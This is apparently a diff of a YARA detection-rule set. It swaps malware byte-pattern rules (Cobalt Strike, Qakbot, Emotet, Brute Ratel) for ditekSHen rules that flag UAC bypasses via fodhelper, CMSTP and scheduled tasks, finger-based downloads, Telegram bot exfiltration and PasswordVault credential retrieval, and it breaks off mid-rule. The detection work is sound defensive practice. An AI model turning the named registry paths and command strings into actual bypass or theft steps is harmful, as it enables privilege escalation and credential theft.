-		$s4 = "Crypt build to disable this message" wide
+		$namespace = "Windows.Security.Credentials.PasswordVault" ascii wide nocase
+		$method1 = "RetrieveAll()" ascii wide nocase
+		$method2 = ".RetrievePassword()" ascii wide nocase
 
 	condition:
-		uint16(0)==0x5a4d and filesize <5000KB and ( all of ($s*))
+		$namespace and 1 of ($method*)
 }
-rule EMBEERESEARCH_Win_Cobalt_Sleep_Encrypt : FILE
+import "time"
+import "pe"
+
+rule DITEKSHEN_INDICATOR_SUSPICIOUS_EXE_Uacbypass_Envvarscheduledtasks
 {
 	meta:
-		description = "Detects Sleep Encryption Logic Found in Cobalt Strike Deployments"
-		author = "Matthew @ Embee_Research"
-		id = "6bd6fbb4-6634-5b51-90f0-f24e48d69043"
-		date = "2023-08-27"
-		modified = "2023-10-18"
-		reference = "https://github.com/embee-research/Yara-detection-rules/"
-		source_url = "https://github.com/embee-research/Yara-detection-rules//blob/ac56d6f6fd2a30c8cb6e5c0455d6519210a8b0f4/Rules/win_cobalt_sleep_encrypt_aug_2023.yar#L1-L55"
-		license_url = "N/A"
-		hash = "26b2f12906c3590c8272b80358867944fd86b9f2cc21ee6f76f023db812e5bb1"
-		logic_hash = "7aa2674ecaaae819c3f26924fa0622df322b1214493f37b1bdf5e00ba5ee98e6"
-		score = 75
-		quality = 75
-		tags = "FILE"
+		description = "detects Windows exceutables potentially bypassing UAC (ab)using Environment Variables in Scheduled Tasks"
+		author = "ditekSHen"
+		id = "14244310-e524-54bf-8822-9b953378bb75"
+		date = "2024-06-08"
+		modified = "2024-06-08"
+		reference = "https://github.com/ditekshen/detection"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_suspicious.yar#L1070-L1081"
+		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
+		logic_hash = "dacca794aefd66526535a87c8890c0ad65550ff88bc0242f05c84c9452a31fe2"
+		score = 40
+		quality = 45
+		tags = ""
+		importance = 20
 
 	strings:
-		$r1_nokey = {4E 8B 04 08 B8 ?? ?? ?? ?? 41 F7 E3 41 8B C3 C1 EA 02 41 FF C3 6B D2 0D 2B C2 8A 4C 18 18 41 30 0C 38 48 8B 43 10 41 8B FB 4A 3B 7C 08 08}
-		$r2_nokey = {49 8B F9 4C 8B 03 B8 ?? ?? ?? ?? 41 F7 E1 41 8B C1 C1 EA 02 41 FF C1 6B D2 0D 2B C2 8A 4C 18 18 42 30 0C 07 48 FF C7 45 3B CB}
+		$s1 = "\\Microsoft\\Windows\\DiskCleanup\\SilentCleanup" ascii wide
+		$s2 = "\\Environment" ascii wide
+		$s3 = "schtasks" ascii wide
+		$s4 = "/v windir" ascii wide
 
 	condition:
-		($r1_nokey or $r2_nokey)
+		all of them
 }
-rule EMBEERESEARCH_Win_Qakbot_Api_Hashing_Oct_2022 : FILE
+import "time"
+import "pe"
+
+rule DITEKSHEN_INDICATOR_SUSPICIOUS_EXE_Uacbypass_Fodhelper
 {
 	meta:
-		description = "No description has been set in the source file - EmbeeResearch"
-		author = "@Embee_Research"
-		id = "b5478404-659d-5b3a-b722-f8ba33875d8a"
-		date = "2022-11-14"
-		modified = "2022-12-01"
-		reference = "https://twitter.com/embee_research/status/1592067841154756610"
-		source_url = "https://github.com/embee-research/Yara-detection-rules//blob/ac56d6f6fd2a30c8cb6e5c0455d6519210a8b0f4/Rules/2022/win_qakbot_api_hashing_oct_2022.yar#L2-L21"
-		license_url = "N/A"
-		logic_hash = "595cabd508ee60c5606f965eb9a290ae21ea32af0f56e213f6ce2d2e35dc4e11"
-		score = 75
-		quality = 75
-		tags = "FILE"
-		vendor = "Huntress Labs"
+		description = "detects Windows exceutables potentially bypassing UAC using fodhelper.exe"
+		author = "ditekSHen"
+		id = "0651e428-a2ef-508d-ad89-c68ac758808f"
+		date = "2024-06-08"
+		modified = "2024-06-08"
+		reference = "https://github.com/ditekshen/detection"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_suspicious.yar#L1083-L1094"
+		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
+		logic_hash = "ec41ca2185732e418825f7c32095dea361a53e586e498baf4c17eaaf9602ba5e"
+		score = 40
+		quality = 43
+		tags = ""
+		importance = 20
 
 	strings:
-		$qakbot_hashing = {0f b6 04 39 33 f0 8b c6 c1 ee 04 83 e0 0f 33 34 85 ?? ?? ?? ?? 8b c6 c1 ee 04 83 e0 0f 33 34 85 ?? ?? ?? ?? 41 3b ca}
+		$s1 = "\\software\\classes\\ms-settings\\shell\\open\\command" ascii wide nocase
+		$s2 = "DelegateExecute" ascii wide
+		$s3 = "fodhelper" ascii wide
+		$s4 = "ConsentPromptBehaviorAdmin" ascii wide
 
 	condition:
-		any of them
+		all of them
 }
-rule EMBEERESEARCH_Win_Gracewire_Loader_Dec_2022 : FILE
+import "time"
+import "pe"
+
+rule DITEKSHEN_INDICATOR_SUSPICIOUS_Finger_Download_Pattern
 {
 	meta:
-		description = "Yara rule to detect GraceWireLoader via usage of Stack Strings"
-		author = "Embee_Research @ Huntress"
-		id = "63d0cd9f-34f7-5ec4-8061-66d36859bd0c"
-		date = "2022-12-12"
-		modified = "2023-10-18"
-		reference = "https://github.com/embee-research/Yara-detection-rules/"
-		source_url = "https://github.com/embee-research/Yara-detection-rules//blob/ac56d6f6fd2a30c8cb6e5c0455d6519210a8b0f4/Rules/2022/win_gracewire_loader_dec_2022.yar#L2-L24"
-		license_url = "N/A"
-		logic_hash = "168af6d24c0646e90717f27e6ba4a18da8e92950ffa7a881243860305037da48"
-		score = 75
-		quality = 75
-		tags = "FILE"
+		description = "Detects files embedding and abusing the finger command for download"
+		author = "ditekSHen"
+		id = "6647b410-c8f0-596b-95d7-dbc6a951a83f"
+		date = "2024-06-08"
+		modified = "2024-06-08"
+		reference = "https://github.com/ditekshen/detection"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_suspicious.yar#L1108-L1118"
+		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
+		logic_hash = "04cbb1abc4c3d2990bae798ece052eb8aa1b5104b5712e98aeb80731316b9c57"
+		score = 40
+		quality = 45
+		tags = ""
+		importance = 20
 
 	strings:
-		$ZwAllocateVirtualMemory = {c6 44 24 48 5a c6 44 24 49 77 c6 44 24 4a 41 c6 44 24 4b 6c c6 44 24 4c 6c c6 44 24 4d 6f c6 44 24 4e 63 c6 44 24 4f 61 c6 44 24 50 74 c6 44 24 51 65 c6 44 24 52 56 c6 44 24 53 69 c6 44 24 54 72 c6 44 24 55 74 c6 44 24 56 75 c6 44 24 57 61 c6 44 24 58 6c c6 44 24 59 4d c6 44 24 5a 65 c6 44 24 5b 6d c6 44 24 5c 6f}
-		$LdrGetProcedureAddress = {c6 44 24 50 4c c6 44 24 51 64 c6 44 24 52 72 c6 44 24 53 47 c6 44 24 54 65 c6 44 24 55 74 c6 44 24 56 50 c6 44 24 57 72 c6 44 24 58 6f c6 44 24 59 63 c6 44 24 5a 65 c6 44 24 5b 64 c6 44 24 5c 75 c6 44 24 5d 72 c6 44 24 5e 65 c6 44 24 5f 41 c6 44 24 60 64 c6 44 24 61 64 c6 44 24 62 72 c6 44 24 63 65 c6 44 24 64 73 c6 44 24 65 73 c6 44 24 66 00}
-		$LdrLoadDLL = {c6 44 24 50 4c c6 44 24 51 64 c6 44 24 52 72 c6 44 24 53 4c c6 44 24 54 6f c6 44 24 55 61 c6 44 24 56 64 c6 44 24 57 44 c6 44 24 58 6c c6 44 24 59 6c}
-		$ZwFreeVirtualMemory = {c6 44 24 30 5a c6 44 24 31 77 c6 44 24 32 46 c6 44 24 33 72 c6 44 24 34 65 c6 44 24 35 65 c6 44 24 36 56 c6 44 24 37 69 c6 44 24 38 72 c6 44 24 39 74 c6 44 24 3a 75 c6 44 24 3b 61 c6 44 24 3c 6c c6 44 24 3d 4d c6 44 24 3e 65 c6 44 24 3f 6d c6 44 24 40 6f c6 44 24 41 72 c6 44 24 42 79}
+		$pat1 = /finger(\.exe)?\s.{1,50}@.{7,10}\|/ ascii wide
+		$pat2 = "-Command \"finger" ascii wide
+		$ne1 = "Nmap service detection probe list" ascii
 
 	condition:
-		3 of them
+		not any of ($ne*) and any of ($pat*)
 }
-rule EMBEERESEARCH_Win_Qakbot_String_Decrypt_Nov_2022 : FILE
+import "time"
+import "pe"
+
+rule DITEKSHEN_INDICATOR_SUSPICIOUS_EXE_Uacbypass_CMSTPCMD : FILE
 {
 	meta:
-		description = "No description has been set in the source file - EmbeeResearch"
-		author = "Embee_Research @ Huntress"
-		id = "0023872f-8edb-59d6-88eb-a76528ba6ec8"
-		date = "2022-11-14"
-		modified = "2023-10-18"
-		reference = "https://github.com/embee-research/Yara-detection-rules/"
-		source_url = "https://github.com/embee-research/Yara-detection-rules//blob/ac56d6f6fd2a30c8cb6e5c0455d6519210a8b0f4/Rules/2022/win_qakbot_string_decrypt_nov_2022.yar#L1-L15"
-		license_url = "N/A"
-		logic_hash = "d225f69fa4dd0e8d7c98e7f8968ad285f05b232225e9ce1070b7a23257a0ef9d"
-		score = 75
-		quality = 75
+		description = "Detects Windows exceutables bypassing UAC using CMSTP utility, command line and INF"
+		author = "ditekSHen"
+		id = "7bad57dc-ee8b-559d-8b17-af44c5bdf35b"
+		date = "2024-06-08"
+		modified = "2024-06-08"
+		reference = "https://github.com/ditekshen/detection"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_suspicious.yar#L1120-L1133"
+		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
+		logic_hash = "4cb92224d5a520dbd42d00d053aba3da21a49fda9391e5a462fd292d2e87e884"
+		score = 40
+		quality = 41
 		tags = "FILE"
+		importance = 20
 
 	strings:
-		$qakbot_decrypt = {33 d2 8b c7 f7 75 10 8a 04 1a 8b 55 fc 32 04 17 88 04 39 47 83 ee 01}
+		$s1 = "c:\\windows\\system32\\cmstp.exe" ascii wide nocase
+		$s2 = "taskkill /IM cmstp.exe /F" ascii wide nocase
+		$s3 = "CMSTPBypass" fullword ascii
+		$s4 = "CommandToExecute" fullword ascii
+		$s5 = "RunPreSetupCommands=RunPreSetupCommandsSection" fullword wide
+		$s6 = "\"HKLM\", \"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\App Paths\\CMMGR32.EXE\", \"ProfileInstallPath\", \"%UnexpectedError%\", \"\"" fullword wide nocase
 
 	condition:
-		uint16(0)==0x5a4d and $qakbot_decrypt
+		uint16(0)==0x5a4d and 3 of them
 }
-rule EMBEERESEARCH_Win_Icedid_Encryption_Oct_2022 : FILE
+import "time"
+import "pe"
+
+rule DITEKSHEN_INDICATOR_SUSPICIOUS_JS_WMI_Execquery
 {
 	meta:
-		description = "No description has been set in the source file - EmbeeResearch"
-		author = "Embee_Research @ Huntress"
-		id = "1ecbb3b3-dfc1-5d69-807d-3a44c39a3536"
-		date = "2022-10-14"
-		modified = "2023-10-18"
-		reference = "https://github.com/embee-research/Yara-detection-rules/"
-		source_url = "https://github.com/embee-research/Yara-detection-rules//blob/ac56d6f6fd2a30c8cb6e5c0455d6519210a8b0f4/Rules/2022/win_icedid_encryption_oct_2022.yar#L1-L18"
-		license_url = "N/A"
-		logic_hash = "da657cf87e043a1fdb2ec683de8a7a12acb8c8f1c24034bb376d525c0a1c5740"
-		score = 75
-		quality = 75
-		tags = "FILE"
+		description = "Detects JS potentially executing WMI queries"
+		author = "ditekSHen"
+		id = "28f37b24-8bf3-5f5c-af47-dc6da5f6397a"
+		date = "2024-06-08"
+		modified = "2024-06-08"
+		reference = "https://github.com/ditekshen/detection"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_suspicious.yar#L1135-L1147"
+		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
+		logic_hash = "e5145aa3a7ce54cda84929f6806a1d7b1cb37db729bb932c5c76994fb683250e"
+		score = 40
+		quality = 45
+		tags = ""
+		importance = 20
 
 	strings:
-		$IcedID = {41 0f b6 d3 44 8d 42 01 83 e2 03 41 83 e0 03 42 8a 44 84 40 02 44 94 40 43 32 04 33 42 8b 4c 84 40 41 88 04 1b 83 e1 07 8b 44 94 40 49 ff c3 d3 c8 ff c0 89 44 94 40 83 e0 07}
+		$ex = ".ExecQuery(" ascii nocase
+		$s1 = "GetObject(" ascii nocase
+		$s2 = "String.fromCharCode(" ascii nocase
+		$s3 = "ActiveXObject(" ascii nocase
+		$s4 = ".Sleep(" ascii nocase
 
 	condition:
-		$IcedID
+		($ex and all of ($s*))
 }
-rule EMBEERESEARCH_Win_Nighthawk_Nov_2022 : FILE
+import "time"
+import "pe"
+
+rule DITEKSHEN_INDICATOR_SUSPICIOUS_XML_Liverpool_Downlaoder_Userconfig : FILE
 {
 	meta:
-		description = "Experimental Yara rule for patterns observed in Nighthawk"
-		author = "Embee_Research @ Huntress"
-		id = "853b0623-ea35-5055-90d0-bb2b5aea8ecd"
-		date = "2022-11-23"
-		modified = "2023-10-18"
-		reference = "https://github.com/embee-research/Yara-detection-rules/"
-		source_url = "https://github.com/embee-research/Yara-detection-rules//blob/ac56d6f6fd2a30c8cb6e5c0455d6519210a8b0f4/Rules/2022/win_nighthawk_nov_2022.yar#L1-L100"
-		license_url = "N/A"
-		logic_hash = "ef39067c12396db1de2feb560ff5628cbb3126e34e6318e88bdb08f6eb7940fb"
-		score = 50
-		quality = 67
+		description = "Detects XML files associated with 'Liverpool' downloader containing encoded executables"
+		author = "ditekSHen"
+		id = "b5840af5-a285-53f4-bac7-07821e740089"
+		date = "2024-06-08"
+		modified = "2024-06-08"
+		reference = "https://github.com/ditekshen/detection"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_suspicious.yar#L1227-L1236"
+		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
+		logic_hash = "8140c29eb54d8c8786b268d5241fcd221a5fb95433bc1038a7f23295afe8c9b8"
+		score = 40
+		quality = 45
 		tags = "FILE"
-		vendor = "Huntress"
-		sharing = "TLP:White"
+		importance = 20
 
 	strings:
-		$s1 = {c6 ad b1 fd}
-		$s2 = {97 16 5f fa}
-		$s3 = {d0 05 89 e9}
-		$s4 = {bf 27 3f 97}
-		$s5 = {d7 12 2f 49}
-		$s6 = {f2 b7 78 2b}
-		$s7 = {09 c4 e6 fb}
-		$s8 = {54 af d9 1a}
-		$s9 = {04 e4 72 6e}
-		$s10 = {4f 06 7d 7d}
-		$s11 = {93 ee 23 66}
-		$g1 = {bf bf d1 d5}
-		$g2 = {7c 75 84 91}
-		$g3 = {47 fb eb 2b}
-		$g4 = {42 24 3d 39}
-		$g5 = {e7 e9 ef ee}
-		$g6 = {47 fd 36 2e}
-		$g7 = {39 de 19 3d}
-		$g8 = {20 df db f7}
-		$g9 = {45 34 2a 41}
-		$g10 = {7d 1c 44 2e}
-		$g11 = {7d 28 44 2e}
-		$g12 = {94 36 65 8d}
-		$ror_1 = {48 ff c2 c1 c9 08 0f be c0 03 c8}
-		$ror_2 = {41 c1 c8 08 41 80 fa 61}
-		$gs_offset_1 = {65 48 8b 04 25 30 00 00 00 48 8b 48 60 4c 8b 59 18}
-		$gs_offset_2 = {65 48 8b 04 25 30 00 00 00 8b d9 48 8b 50 60 4c 8b 4a 18 49 83 c1 10}
-		$shr_block = {c1 e9 02 33 ca 66 d1 e8 d1 e9 33 ca c1 e9 02 33 ca c1 e2 0f}
+		$s1 = "<configSections>" ascii nocase
+		$s2 = "<value>77 90" ascii nocase
 
 	condition:
-		uint16(0)==0x5a4d and filesize <5000KB and ((((3 of ($s*)) or (3 of ($g*))) and ((1 of ($ror*)) and (1 of ($gs_offset*)))) or $shr_block)
+		uint32(0)==0x6d783f3c and all of them
 }
-rule EMBEERESEARCH_Win_Havoc_Djb2_Hashing_Routine_Oct_2022 : FILE
+import "time"
+import "pe"
+
+rule DITEKSHEN_INDICATOR_SUSPICIOUS_EXE_B64_Encoded_Useragent : FILE
 {
 	meta:
-		description = "No description has been set in the source file - EmbeeResearch"
-		author = "embee_research @ HuntressLabs"
-		id = "cde3e14f-0671-5bcf-93e8-e0a0af9b462c"
-		date = "2022-10-11"
-		modified = "2023-10-18"
-		reference = "https://github.com/embee-research/Yara-detection-rules/"
-		source_url = "https://github.com/embee-research/Yara-detection-rules//blob/ac56d6f6fd2a30c8cb6e5c0455d6519210a8b0f4/Rules/2022/win_havoc_djb2_hashing_routine_oct_2022.yar#L1-L24"
-		license_url = "N/A"
-		logic_hash = "9f645480c3d78153186a247440739a1d2e627ec64a4225083bd8db4ad9bd5ef3"
-		score = 75
-		quality = 75
+		description = "Detects executables containing base64 encoded User Agent"
+		author = "ditekSHen"
+		id = "e6a6eba2-587f-5b6b-b23d-4e4aa5289d1d"
+		date = "2024-06-08"
+		modified = "2024-06-08"
+		reference = "https://github.com/ditekshen/detection"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_suspicious.yar#L1238-L1247"
+		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
+		logic_hash = "ee06d3d9f2f7a294ce0f117d5838fe86ae77f98da0ba30551b0b42811227b1bd"
+		score = 40
+		quality = 45
 		tags = "FILE"
-		vendor = "Huntress Research"
+		importance = 20
 
 	strings:
-		$dll = {b8 05 15 00 00 0f be 11 48 ff c1 84 d2 74 07 6b c0 21 01 d0 eb ef}
-		$shellcode = {41 80 f8 60 76 04 41 83 e8 20 6b c0 21 45 0f b6 c0 49 ff c1 44 01 c0 eb c4}
+		$s1 = "TW96aWxsYS81LjAgK" ascii wide
+		$s2 = "TW96aWxsYS81LjAgKFdpbmRvd3M" ascii wide
 
 	condition:
-		( any of them ) and ( uint16(0)==0x5a4d or uint16(0)==0x00e8 or uint16(0)==0x4856)
+		uint16(0)==0x5a4d and any of them
 }
-rule EMBEERESEARCH_Win_Emotet_String_Patterns_Oct_2022 : FILE
+import "time"
+import "pe"
+
+rule DITEKSHEN_INDICATOR_SUSPICIOUS_EXE_Winddefender_Antiemaulation : FILE
 {
 	meta:
-		description = "Detection of string hashing routines observed in emotet"
-		author = "Embee_Research @ HuntressLabs"
-		id = "fd9c3133-95dc-5dd8-9e94-ed85ad8e1fc7"
-		date = "2022-10-14"
-		modified = "2023-10-18"
-		reference = "https://github.com/embee-research/Yara-detection-rules/"
-		source_url = "https://github.com/embee-research/Yara-detection-rules//blob/ac56d6f6fd2a30c8cb6e5c0455d6519210a8b0f4/Rules/2022/win_emotet_string_patterns_oct_2022.yar#L1-L19"
-		license_url = "N/A"
-		logic_hash = "36f4a3fed124b8c25711f706c5b4f1c9b0801c2105cf86077b8c002dd70a6fbc"
-		score = 75
-		quality = 75
+		description = "Detects executables containing potential Windows Defender anti-emulation checks"
+		author = "ditekSHen"
+		id = "e7dca0e6-060b-5394-afc5-b3705a51d934"
+		date = "2024-06-08"
+		modified = "2024-06-08"
+		reference = "https://github.com/ditekshen/detection"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_suspicious.yar#L1249-L1258"
+		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
+		logic_hash = "76f8a532a59c2a7fcd45d9f9aed3ea2020889228c81410445728f42b6b9d891e"
+		score = 40
+		quality = 45
 		tags = "FILE"
+		importance = 20
 
 	strings:
-		$em1 = {45 33 f6 4c 8b d0 48 85 c0 74 64 48 8d 14 b3 4c 8b c0 45 8b de 4c 8b ca 4c 2b cb 49 83 c1 03 49 c1 e9 02 48 3b da 4d 0f 47 ce}
-		$em2 = {8b cd 49 ff c3 33 0b 48 8d 5b 04 0f b6 c1 66 41 89 00 0f b7 c1 c1 e9 10 66 c1 e8 08 4d 8d 40 08 66 41 89 40 fa 0f b6 c1 66 c1 e9 08 66 41 89 40 fc 66 41 89 48 fe 4d 3b d9}
-		$em3 = {49 ff c3 33 0b 48 8d 5b 04 0f b6 c1 66 41 89 00}
-		$em4 = {8b cb 41 8b d0 d3 e2 41 8b cb d3 e0 03 d0 41 0f be c1 03 d0 41 2b d0 49 ff c2 44 8b c2}
+		$s1 = "JohnDoe" fullword ascii wide
+		$s2 = "HAL9TH" fullword ascii wide
 
 	condition:
-		uint16(0)==0x5a4d and ( any of them )
+		uint16(0)==0x5a4d and all of them
 }
-rule EMBEERESEARCH_Win_Bruteratel_Syscall_Hashes_Oct_2022 : FILE
+import "time"
+import "pe"
+
+rule DITEKSHEN_INDICATOR_SUSPICIOUS_EXE_Attrib : FILE
 {
 	meta:
-		description = "Detection of Brute Ratel Badger via api hashes of Nt* functions. "
-		author = "Embee_Research @ Huntress"
-		id = "b82612b4-272e-5ae2-bd87-3593e55918f8"
-		date = "2022-10-12"
-		modified = "2023-10-18"
-		reference = "https://github.com/embee-research/Yara-detection-rules/"
-		source_url = "https://github.com/embee-research/Yara-detection-rules//blob/ac56d6f6fd2a30c8cb6e5c0455d6519210a8b0f4/Rules/2022/win_bruteratel_syscall_hashes_oct_2022.yar#L1-L23"
-		license_url = "N/A"
-		logic_hash = "e284d5568e0b5ffa0f231f98ecce13b5f5518a4e005ea001a5c89087c91eb8a1"
-		score = 60
-		quality = 25
+		description = "Detects executables using attrib with suspicious attributes attributes"
+		author = "ditekSHen"
+		id = "69925f45-b8a9-516c-857c-7a687b32e0c6"
+		date = "2024-06-08"
+		modified = "2024-06-08"
+		reference = "https://github.com/ditekshen/detection"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_suspicious.yar#L1260-L1268"
+		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
+		logic_hash = "2d26581037a34f32b3e3aa6df5570f0de0b9e070cbe6190318a99c6f147250d8"
+		score = 40
+		quality = 45
 		tags = "FILE"
-		vendor = "Huntress"
+		importance = 20
 
 	strings:
-		$hash1 = {89 4d 39 8c}
-		$hash2 = {bd ca 3b d3}
-		$hash3 = {b2 c1 06 ae}
-		$hash4 = {74 eb 1d 4d}
+		$s1 = "attrib +h +r +s" ascii wide
 
 	condition:
-		( uint16(0)==0x5a4d or uint16(0)==0x00e8) and (2 of ($hash*))
+		uint16(0)==0x5a4d and any of them
 }
-/*
- * YARA Rule Set
- * Repository Name: AvastTI
- * Repository: https://github.com/avast/ioc
- * Retrieval Date: 2024-08-04
- * Git Commit: 19245ea6066a04f15e0859899546f1378ef578cb
- * Number of Rules: 33
- * Skipped: 0 (age), 0 (quality), 0 (score), 0 (importance)
- *
- *
- * LICENSE
- *
- * NO LICENSE SET
- */
-private rule AVASTTI_EXE_PRIVATE : FILE
+import "time"
+import "pe"
+
+rule DITEKSHEN_INDICATOR_SUSPICIOUS_EXE_Clearmytracksbyprocess : FILE
 {
 	meta:
-		description = "No description has been set in the source file - AvastTI"
-		author = "Avast Threat Intel Team"
-		id = "1096b81d-5853-5d19-b502-c8166b712a3d"
-		date = "2022-10-05"
-		modified = "2022-10-05"
-		reference = "https://github.com/avast/ioc"
-		source_url = "https://github.com/avast/ioc/blob/19245ea6066a04f15e0859899546f1378ef578cb/Manjusaka/Manjusaka.yar#L9-L13"
-		license_url = "N/A"
-		logic_hash = "0688672446142f95a22e49a04234cc90b6c9021efeda9ce57034c88d84944663"
-		score = 75
-		quality = 90
+		description = "Detects executables calling ClearMyTracksByProcess"
+		author = "ditekSHen"
+		id = "d548cf61-ffb7-5a21-9b76-246f8ffb6ad4"
+		date = "2024-06-08"
+		modified = "2024-06-08"
+		reference = "https://github.com/ditekshen/detection"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_suspicious.yar#L1270-L1278"
+		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
+		logic_hash = "970bdf2cfebc5196204087de134b9d2f032d8074cacbb3b9cc2c859aab3a95fc"
+		score = 40
+		quality = 43
 		tags = "FILE"
+		importance = 20
+
+	strings:
+		$s1 = "InetCpl.cpl,ClearMyTracksByProcess" ascii wide nocase
 
 	condition:
-		uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550
+		uint16(0)==0x5a4d and any of them
 }
-private rule AVASTTI_ELF_PRIVATE
+import "time"
+import "pe"
+
+rule DITEKSHEN_INDICATOR_SUSPICIOUS_EXE_Dotnetprochook : FILE
 {
 	meta:
-		description = "No description has been set in the source file - AvastTI"
-		author = "Avast Threat Intel Team"
-		id = "38aa7852-e7ea-5b90-a5f6-0862ad19a051"
-		date = "2022-10-05"
-		modified = "2022-10-05"
-		reference = "https://github.com/avast/ioc"
-		source_url = "https://github.com/avast/ioc/blob/19245ea6066a04f15e0859899546f1378ef578cb/Manjusaka/Manjusaka.yar#L1-L7"
-		license_url = "N/A"
-		logic_hash = "eb05e5d53bb8dea91467a76a164542894cdb1355cf3909f56818e27c589344ec"
-		score = 75
-		quality = 90
-		tags = ""
+		description = "Detects executables with potential process hoocking"
+		author = "ditekSHen"
+		id = "1c32c7ee-0ac6-50ae-892e-73f46902115d"
+		date = "2024-06-08"
+		modified = "2024-06-08"
+		reference = "https://github.com/ditekshen/detection"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_suspicious.yar#L1280-L1291"
+		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
+		logic_hash = "e01147886444f8080b7cf7b423dc70b4b08fae6b88a8875eb075530fdb9f7909"
+		score = 40
+		quality = 45
+		tags = "FILE"
+		importance = 20
 
 	strings:
-		$h01 = { 7F 45 4C 46 (01|02) (01|02) 01 }
+		$s1 = "UnHook" fullword ascii
+		$s2 = "SetHook" fullword ascii
+		$s3 = "CallNextHook" fullword ascii
+		$s4 = "_hook" fullword ascii
 
 	condition:
-		$h01 at 0
+		uint16(0)==0x5a4d and all of them
 }
-rule AVASTTI_Cobaltstrike_Raw_Payload_Dns_Stager_X86
+import "time"
+import "pe"
+
+rule DITEKSHEN_INDICATOR_SUSPICIOUS_EXE_Telegramchatbot : FILE
 {
 	meta:
-		description = "No description has been set in the source file - AvastTI"
-		author = "Avast Threat Intel Team"
-		id = "817c4a72-7be1-5a58-987d-fe203d7778ea"
-		date = "2021-07-08"
-		modified = "2021-07-08"
-		reference = "https://github.com/avast/ioc"
-		source_url = "https://github.com/avast/ioc/blob/19245ea6066a04f15e0859899546f1378ef578cb/CobaltStrike/yara_rules/cs_rules.yar#L1-L26"
-		license_url = "N/A"
-		logic_hash = "d447fac16f0a712b1c264bc83b4cf2e56e5e98b369617799b981cd75b37c3511"
-		score = 75
-		quality = 90
-		tags = ""
+		description = "Detects executables using Telegram Chat Bot"
+		author = "ditekSHen"
+		id = "bcee52fe-495a-5ea1-bcd9-78b57c992752"
+		date = "2024-06-08"
+		modified = "2024-06-08"
+		reference = "https://github.com/ditekshen/detection"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_suspicious.yar#L1293-L1308"
+		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
+		logic_hash = "40374d9dda3d1896906f342725425860e83fbe6b5b0ac656a7035094e36340c0"
+		score = 40
+		quality = 45
+		tags = "FILE"
+		importance = 20
 
 	strings:
-		$h01 = { FC E8 89 00 00 00 60 89 E5 31 D2 64 8B 52 30 8B 52 0C 8B 52 14 8B 72 28 }
+		$s1 = "https://api.telegram.org/bot" ascii wide
+		$s2 = "/sendMessage?chat_id=" fullword ascii wide
+		$s3 = "Content-Disposition: form-data; name=\"" fullword ascii
+		$s4 = "/sendDocument?chat_id=" fullword ascii wide
+		$p1 = "/sendMessage" ascii wide
+		$p2 = "/sendDocument" ascii wide
+		$p3 = "&chat_id=" ascii wide
+		$p4 = "/sendLocation" ascii wide
 
 	condition:
-		uint32(@h01+0x00a3)==0xe553a458 and uint32(@h01+0x00bd)==0x0726774c and uint32(@h01+0x012f)==0xc99cc96a and uint32(@h01+0x0198)==0x56a2b5f0 and uint32(@h01+0x01a4)==0xe035f044 and uint32(@h01+0x01e4)==0xcc8e00f4
+		uint16(0)==0x5a4d and (2 of ($s*) or (2 of ($p*) and 1 of ($s*)))
 }
-rule AVASTTI_Cobaltstrike_Raw_Payload_Smb_Stager_X86
+import "time"
+import "pe"
+
+rule DITEKSHEN_INDICATOR_SUSPICIOUS_EXE_B64_Artifacts : FILE
 {
 	meta:
-		description = "No description has been set in the source file - AvastTI"
-		author = "Avast Threat Intel Team"
-		id = "29911a14-08ea-54de-9c07-630c6516bd49"
-		date = "2021-07-08"
-		modified = "2021-07-08"
-		reference = "https://github.com/avast/ioc"
-		source_url = "https://github.com/avast/ioc/blob/19245ea6066a04f15e0859899546f1378ef578cb/CobaltStrike/yara_rules/cs_rules.yar#L28-L57"
-		license_url = "N/A"
-		logic_hash = "7459bcb0353f114a869aa61adc0229197ca9a1cfce0741dc227fabbeea2afba9"
-		score = 75
-		quality = 90
-		tags = ""
